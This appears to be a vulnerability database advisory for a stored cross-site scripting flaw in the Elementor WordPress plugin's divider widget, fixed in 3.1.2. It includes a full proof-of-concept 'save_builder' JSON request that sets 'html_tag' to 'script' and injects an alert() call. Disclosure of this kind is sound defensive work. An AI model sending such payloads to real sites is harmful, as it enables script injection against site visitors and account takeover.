Lucene search

K
wpexploitRamuel GallWPEX-ID:AA152AD0-5B3D-4D1F-88F4-6899A546E72E
HistoryMar 17, 2021 - 12:00 a.m.

Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Divider Widget

2021-03-1700:00:00
Ramuel Gall
108

0.001 Low

EPSS

Percentile

21.8%

In the plugin, the divider widget (includes/widgets/divider.php) accepts an ‘html_tag’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request with this parameter set to ‘script’ and combined with a ‘text’ parameter containing JavaScript, which will then be executed when the saved page is viewed or previewed.

{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"826b3e5","elType":"section","isInner":"","settings":{"ekit_all_conditions_list":[{"_id":"5971172"}],"ekit_section_parallax_multi_items":[]},"elements":[{"id":"17bf19a","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null,"ekit_all_conditions_list":[{"_id":"52c5d94"}]},"elements":[{"id":"227f577","elType":"widget","isInner":false,"settings":{"look":"line_text","text":"alert(\"pwnedbydivider\");","html_tag":"script","ekit_all_conditions_list":[{"_id":"6715aca"}],"ekit_adv_tooltip_content":"Tooltip Content."},"elements":[],"widgetType":"divider"}]}]}],"settings":{"post_title":"dividerpoc","post_status":"pending"}}}}

0.001 Low

EPSS

Percentile

21.8%

Related for WPEX-ID:AA152AD0-5B3D-4D1F-88F4-6899A546E72E